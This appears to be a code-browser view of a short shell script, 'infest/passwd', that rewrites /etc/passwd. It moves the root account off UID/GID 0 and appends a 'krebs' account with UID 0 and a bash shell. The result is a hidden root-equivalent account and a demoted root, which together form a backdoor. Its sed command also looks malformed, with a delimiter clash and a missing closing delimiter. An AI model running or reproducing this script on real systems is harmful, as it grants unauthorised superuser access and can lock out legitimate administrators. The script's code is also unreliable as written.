summaryrefslogtreecommitdiffstats
path: root/infest/passwd
blob: 090840bfe994c0deac1feb276cabd947b15802c2 (plain)
1
2
3
4
5
6
7
8
9
10
11
#! /bin/sh

f=/etc/passwd

sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f

x='krebs:x:0:0:/krebs:/bin/bash'
if ! fgrep -q $x $f; then
  echo $x >>$f
fi